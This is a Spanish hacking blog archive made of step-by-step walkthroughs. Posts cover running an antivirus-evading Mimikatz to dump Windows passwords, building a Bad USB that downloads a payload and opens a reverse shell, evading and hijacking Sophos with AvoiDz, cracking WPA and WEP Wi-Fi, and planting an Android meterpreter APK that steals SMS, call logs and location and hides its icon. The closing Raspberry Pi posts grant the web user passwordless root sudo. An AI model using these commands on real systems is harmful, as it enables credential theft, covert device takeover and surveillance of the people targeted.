Mostrando entradas con la etiqueta hacks. Mostrar todas las entradas
Mostrando entradas con la etiqueta hacks. Mostrar todas las entradas

lunes, 14 de agosto de 2017

Mimikatz Indetectable

Leí por ahí lo fácil que era usar Mimikatz, pero era detectado por cualquier antivirus. Buscando un poco me topé con que hay una versión en Java Script que es indetectable. 

Descargamos el katz.js del siguiente enlace:
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f/archive/2adcc9d2570b4367c6cc405e5a5969863d04fc9b.zip

Lo ejecutamos simplemente con el siguiente comando y esperamos unos minutos:

c:\> cscript katz.js



Finalmente ejecutamos estos dos comandos:

privilege::debug
sekurlsa::logonpasswords

Y obtendremos los usuarios, el dominio y sus contraseñas:



FUENTE: https://github.com/gentilkiwi/mimikatz

lunes, 7 de agosto de 2017

Shell Reversa con Bad USB Casero a Bajo Costo


Nos descargamos el IDE de Arduino de la siguiente página: 

https://www.arduino.cc/en/Main/Donate



Lo instalamos y damos todas las opciones siguiente -> siguiente por defecto:




Si nos pide instalar algo como esto, le damos confiar siempre e instalar:




Abrimos el Arduino y vamos a Archivo -> Preferencias:



Colocamos en Tarjetas adicionales lo siguiente:
http://digistump.com/package_digistump_index.json y damos ok:



Clickeamos en Herramientas -> Placa: "Arduino/Genuino Uno" -> "Gestor de tarjetas ..."



Seleccionamos "Digistump AVR Boards by Digistump" -> Instalar
Esperamos que instale -> Cerrar:




Nuevamente vamos al mismo menú -> Herramientas -> Placa -> "Digispark (Default - 16.5mhz)":



Descargamos el Digistump Drivers desde: https://github.com/digistump/DigistumpArduino/releases



Descomprimimos y ejecutamos el siguiente archivo:



Abrimos el IDE de Arduino y vamos a > Archivo > Ejemplos > DigisparkKeyboard > Keyboard



Vamos luego a > Herramientas > Programador: "USBtinyISP" > USBtinyISP



Descargamos el .ino que hice para tipear automáticamente de la siguiente url: https://github.com/tirher/Arduino



Borramos lo que teníamos previamente en el IDE de Arduino y pegamos lo que descargamos del link anterior, debería quedar así:



Hacemos click en el tilde de arriba a la izquierda como indica en la imagen y luego veremos algo como muestra debajo de la flecha:



Luego seleccionamos la flecha que indica a la derecha y vemos abajo de todo en la ventana negra que nos indica cuando ingresar el USB Atiny85. Cuando aparece "Plug in device now ..." lo conectamos:



Cuando indique "100 % complete" lo desconectamos y ya tenemos el bad usb listo:



En el post previo mostré como utlizar avoid para hacer una shell reversa: http://redes-seguridad.blogspot.com.ar/2017/07/reverse-shell-indetectable-por-sophos.html ahora la voy a publicar en un webserver para poder descargarla u ejecutarla directamente del usb.

Iniciamos en el kali el apache2 y copiamos el py.exe en la ruta /var/www/html y verificamos que lo pueda acceder por una web:



Luego ejecutamos el siguiente comando, si ó si tiene que ser desde el terminal dentro del entorno gráfico, sino no funcionará:

root@kali:~/Desktop/avoidz# ./avoidz.rb -h 192.168.1.43 -f py

Cuando nos pregunte: "Whould you like to start a listener? (Y/n)" le indicamos que si y vemos como se abre solo el msfconsole y queda a la escucha esperando:



Conectamos el Bad USB en el windows y veremos que descargará el py.exe desde nuestro webserver y lo ejecutará:



Luego de unos segundos veremos la conexión reversa desde el windows al kali linux:



Vemos las sesiones abiertas y nos conectamos:



domingo, 16 de julio de 2017

Reverse Shell Indetectable por Sophos con AvoiDz

En la versión de Kali que fue probado:



El windows que fue "Atacado" es: 



Descargamos el AvoiDz de gitHub:

cd Desktop/
git clone https://github.com/M4sc3r4n0/avoidz.git
cd avoidz
chmod +x setup.sh
./setup.sh



Verifica las dependencias, las que no tenga las instala:




Ejecutamos sin parametros para ver las opciones:

./avoidz.rb




Ejecutamos lo siguiente especificando la ip en el valor -h esperamos que genere el payload y al final le damos si con la opción Y como muestra la imagen. Tener en cuenta que esto sí o si hay que ejecutarlo desde el entorno gráfico, ya que si lo ejecutamos por ssh no funcionará.

./avoidz.rb -h 'ifconfig eth0 | grep inet | awk {'print $2'}' -f py



Se abre automáticamente la siguiente ventana al darle Y en la pantalla anterior:



El py.exe generado lo copiamos al windows mediante winSCP ó cualquier otro programa para pasar archivos de linux a linux.



Vemos que al ejecutar el py.exe en el windows no lo detecta como virus el antivirus. En el kali vemos que abre la conexión, vemos en la siguiente imagen, ejecutamos los siguientes comandos para ver las sesiones y conectarnos:

sessions
session 1



Ejecutamos sysinfo desde el meterpreter y vemos que estamos conectado al windows:

sysinfo



Vemos los procesos corriendo en el windows:

ps



Vemos el pid del Sophos en la primer columna 5824:



Para migrar el proceso del shell reverso que vemos como PowerShell lo migraremos al PID del sophos:

migrate 5824



También vemos de escanearlo con el antivirus:



No detecta ningún virus:



La versión es la del 2017 actualizada al día de hoy:




domingo, 28 de mayo de 2017

Hacking WPA y WPA2 por Fuerza Bruta desde MacOS



Escaneamos con airport para detectar todas las wifi disponibles. La que aparece en rojo es mi WiFi que intentaré romper:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
                            SSID BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
                   Speedy-B00FE4 f8:8f:97:b0:0f:ed -76  1       N  -- WEP
                   Speedy-CB6F98 e0:19:1d:cb:6f:a0 -57  1       Y  AR WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
                       Btzl-wifi 00:e0:4d:80:d2:94 -73  9       N  -- WPA(PSK/TKIP/TKIP)
                           Jotan a4:2b:b0:d7:69:50 -59  10,-1   Y  -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
                           Mi_Wifi c9:d6:fe:7d:ef:a8 -39  6       N  -- WPA2(PSK/TKIP/TKIP) 


En el comando previo obtenemos el canal de la wifi WPA2 que queremos romper (canal 6). El en0 es el nombre de la interface wifi de mi mac. Lo dejamos corriendo para que capture:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6
Capturing 802.11 frames on en0.


Abrimos otra terminal mientras y dejamos pingueamos a cualquier ip para generar tráfico:

MacBook:~ root# ping 8.8.8.8
Request timeout for icmp_seq 135
ping: sendto: No route to host
Request timeout for icmp_seq 136
ping: sendto: No route to host


Creamos la lista de posibles password, obviamente que yo puse la mía que sabía que era, si no la conocemos tenemos que bajar alguna wordlist de internet ó generar todas las posibles combinaciones con algun programa. Yo puse pocos password para que finalice rápido el proceso.

MacBook:~ root# vi wordlist.lst
algo
alguna
Cualquiera
laClaveWifi
Admin
password
pass
1234
….
clave


Empezamos a romper usando fuerza bruta desde la lista de posibles contraseñas (wordlist.lst), luego del -b pondremos el BSSID de la wifi elegida para romper y por último parámetro indicamos el archivo .cap que fue generado con el airport (2 comando ejecutado).

MacBook:~ root# aircrack-ng -w wordlist.lst -b c9:d6:fe:7d:ef:a8 /tmp/airportSniffC5nL70.cap
Opening /tmp/airportSniffC5nL70.cap
Reading packets, please wait...
                                 Aircrack-ng 1.1
                   [00:00:00] 4 keys tested (280.31 k/s)
                          KEY FOUND! [ laClaveWifi ]



Cuando aparece KEY FOUND ya tenemos la clave, es la que aparece entre corchetes, en este caso es: laClaveWifi


Se pueden bajar wordlist de varios lugares, por ejemplo acá les dejo una en español para que prueben: https://packetstormsecurity.com/files/download/32018/spanish.gz ó de cualquier idioma: https://packetstormsecurity.com/Crackers/wordlists/language/


Crackeando WPE WiFi con AirCrack-NG desde Mac



Descargar e instalar brew para instalar otros paquetes:

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"


Instalar el Xcode del Apple Store:



Instalamos Aircrack-ng con el gestor brew:

$ brew install aircrack-ng


Ver canales para sniffear:

root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
SSID                      BSSID                   RSSI   CHANNEL HT CC  SECURITY (auth/unicast/group)
Speedy-4325C1     34:4b:50:42:55:c1 -85      1                  N     --   WEP
Speedy-B11FE4    f2:31:98:b1:0f:ed    -79      1                  N     --   WEP
Speedy-AB1J4C    c3:d6:fa:71:3e:68   -82      11                 N     --   WEP


El en0 es la interface wifi y el 11 es el canal del comando previo. Este comando generará un .cap en el /tmp que utilizaremos posteriormente. Tenemos que dejar que corra un largo rato.
root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 11 
Capturing 802.11 frames on en0.

Ejecutamos por ultimo el aircrack con la mac del SSID a crackear y la ruta al .cap generado por el comando anterior:

root# aircrack-ng -1 -a 1 -b c3:d6:fa:71:3e:68 /tmp/airportSniffmNzwZc.cap


Finalmente aparecerá algo similar a lo siguiente como resultado si logró romper la wifi: 

KEY FOUND! [ 32:30:65:61:63 ] (ASCII: 20eac )

Decrypted correctly: 100%


Para conectarnos a la wifi tendremos que conectarnos a la red seleccionada:

SSID: Speedy-AB1J4C
Password: 3230656163


jueves, 25 de mayo de 2017

Instalando y usando Metasploit en MacBook Sierra para Acceder a un Android


1) Descargamos el paquete de:
 http://osx.metasploit.com/metasploit-framework-4.14.22%2B20170525092251-1rapid7-1.pkg


2) Instalamos por defecto, aceptamos términos y condiciones.


3) Agregamos los alias ó también podemos agregar la ruta al path de ejecución:
$ alias msfconsole='/opt/metasploit-framework/bin/msfconsole' 
$ alias msfvenom='/opt/metasploit-framework/bin/msfvenom'


4) Generamos la aplicación la cual se conectará a la pc atacante, ponemos un payload de shell reversa, el LHOST es la ip de la mac y la ruta donde mandaremos la aplicacion que instalaremos en el android:
$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.42 R > Desktop/Aplicacion.apk 
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8779 bytes


5) Ahora hay que copiarlo al android al cual "atacaremos", ahi esta en cada uno como pasarlo, yo lo pasé en mi celular mediante dropbox, instalarlo. 6) Desde la mac abrimos el msfconsole:
$ msfconsole 


7) Indicamos el exploit, el payload el host remoto y el host local, ejecutamos el exploit y luego ejecutamos la aplicación desde el android:

msf > use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp 
payload => android/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.42
LHOST => 192.168.1.42

msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.1.42:4444 
[*] Starting the payload handler...
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 1 opened (192.168.1.42:4444 -> 192.168.1.39:59209) at 2017-05-25 23:03:51 -0300
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 2 opened (192.168.1.42:4444 -> 192.168.1.39:39350) at 2017-05-25 23:03:52 -0300
[*] Sending stage (68443 bytes) to 192.168.1.39
[*] Meterpreter session 3 opened (192.168.1.42:4444 -> 192.168.1.39:37856) at 2017-05-25 23:03:52 -0300

[-] Failed to load client script file: /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb


8) Ya tenemos la sesión iniciada, vamos a bajar los mensajes:
meterpreter > dump_sms [*] Fetching 9 sms messages [*] SMS messages saved to: sms_dump_20170525230451.txt meterpreter >


9) Descargamos las llamadas:
meterpreter > dump_calllog
[*] Fetching 5 entries [*] Call log saved to calllog_dump_20170525230542.txt meterpreter >


10) Ocultamos el icono de la aplicación:
meterpreter > hide_app_icon
[*] Activity MainActivity was hidden


11) Obtenemos la ubicación geográfica mediante la wifi a la cual se conectó:
meterpreter > wlan_geolocate
[*] Google indicates the device is within 150 meters of -xx.yyyyy.xxxx. [*] Google Maps URL: https://maps.google.com/?q=-xx.yyyyy.xxxx meterpreter >


12) Mandamos un msj de texto al celular 01234567890 con el mensaje -> desde el atacante:
meterpreter > send_sms -d "01234567890” -t "Desde el atacante”
[+] SMS sent - Transmission successful


jueves, 23 de marzo de 2017

Prender un LED con Sensor de Movimiento Ultrasonico HC-SR04 en Raspberry Pi


En la entrada anterior vimos como controlar un LED con GPIO en la RaspBerry Pi: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a explicar como prender el led utilizando el sensor de movimiento HC-SR04.

Materiales que utilizaremos son los mismos elementos que en el link de arriba, pero agregando el sensor que se puede conseguir por cualquier lado.


Pasos para la conexión:

Voy a explicar lo mejor posible, utilizando la terminología de filas A, B, C, etc y columnas 0, 1, 2, al mejor estilo batalla naval.

Los pines del Raspberry los enumeraré teniendo la tarjeta SD hacia la izquierda y el puerto USB hacia la derecha, el de abajo a la izquierda sería el PIN_1, el de arriba PIN_2, e ir contando de abajo hacia arriba y de izquierda a derecha PIN_3 sería el segundo de abajo de izq a der y así sucesivamente.

Lo que está en letra negrita es del raspberry y lo que está en letra azul es el protoboard:

1) Conectamos el PIN_2 de las raspberry al positivo => +59 (la primer linea de abajo del protoboard).

2) PIN_6 al negativo => -55 (la segunda linea de abajo del protoboard).

3) PIN_10 al J50

4) PIN_11 al J51

5) PIN_16 al H33

6) +53 al J49

7) -52 al J52 

8) Conectamos una resistencia del -35 al J35

9) Conectamos el LED de 5volts: El negativo (lado más corto) del LED lo conectamos al G35 del proto y el positivo (lado más largo) al G33

10) El sensor ultrasónico lo conectamos desde el F49 al F52. IMPORTANTE!! El GND del sensor debe ir en el F52 y el vCC del sensor al F49 del protoboard.


Ya finalizadas las conexiones les pongo el código para que generen el python:

vi /var/www/html/sensorProximidad.py

#!/usr/bin/python
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BOARD)
Trigger = 10
Echo = 12
GPIO.setup(Trigger,GPIO.OUT)
GPIO.setup(Echo,GPIO.IN)
print "Sensor Ultrasonico"
try:
        while True:
                GPIO.output(Trigger,False)
                time.sleep(0.5)
                GPIO.output(Trigger,True)
                time.sleep(0.00001)
                GPIO.output(Trigger,False)
                inicio=time.time()
                while GPIO.input(Echo)==0:
                        inicio=time.time()
                while GPIO.input(Echo)==1:
                        final=time.time()
                t_transcurrido=final-inicio
                distancia=t_transcurrido*34000
                distancia=distancia/2
                if distancia < 10:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,1)
                else:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,0)
except KeyBoardInterrupt:
        GPIO.cleanup()

Le damos permisos al script de ejecución y lo ejecutamos, ponemos la mano a menos de 10 centímetros del sensor y si está todo bien conectado se encenderá el LED.

Acá les dejo el planito que hice:



Les dejo también un video del enano jugando con el sensor:



sábado, 18 de marzo de 2017

Prender/Apagar LED en Raspberry con PHP llamando a Python

En este enlace hicimos el primer ejercicio de prender y apagar un led en Raspberry Pi con python: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a hacer un simple PHP con dos botones para prender el LED desde una web, pudiendo hacerlo desde la computadora, del celular o desde un lugar remoto:

Iniciamos el webserver apache:

root@kali:/home# /etc/init.d/apache2 start
[....] Starting apache2 (via systemctl): apache2.service
. ok

Tener en cuenta que tenemos que habilitar el sudo para el usuario www-data, lo configure rapido, sin seguridad dandole permiso a todo en el sudoers pero tengamos cuidado de no hacerlo asi porque es totalmente inseguro:

root@kali:~# visudo
# User privilege specification
www-data        ALL=(ALL:ALL) NOPASSWD: ALL

Nos logueamos con el usuario www-data:

root@kali:~# su - www-data
www-data@kali:~$ 

Generamos los archivos que lo prenden, el python y el php:

www-data@kali:~$ sudo cd /var/www/html/ 
www-data@kali:~/html$ sudo vi prende.py
#!/usr/bin/python
print "LED prendido!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,1) 
www-data@kali:~/html$ sudo vi prende.php
$a=exec('sudo python /var/www/html/prende.py');
echo $a;
?>

 Ahora los que apagan:
www-data@kali:~/html$ sudo vi apaga.py 
#!/usr/bin/python
print "LED apagado!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,0) 
www-data@kali:~/html$ sudo vi apaga.php
$a=exec('sudo python /var/www/html/apaga.py');
echo $a;
?>

 Lo prendemos y lo apagamos llamando al .php correspondiente desde un navegador:

http://192.168.1.40/prende.php

http://192.168.1.40/apaga.php


Ahora hacemos un unico php que tenga dos botones que prenderan o apagaran el led:


www-data@kali:~/html$ sudo vi boton.php


http://192.168.1.40/boton.php


Tenemos una opción mejor que encontré en el sitio de http://riverajefer.blogspot.com.ar/


La clonamos con el git y edigamos el procesa.php

root@kali:~# cd /var/www/html/
root@kali:/var/www/html# git clone https://github.com/rpi-jefer/rpi-led 
root@kali:~# vi /var/www/html/rpi-led/procesa.php


Cambio a la ruta de mis pythones así no tengo que cambiar los pines uno por uno:

    exec('sudo python /var/www/html/apaga.py');
y
    exec('sudo python /var/www/html/prende.py');


Ingresamos a la url y vemos que prende tocando el pulsador: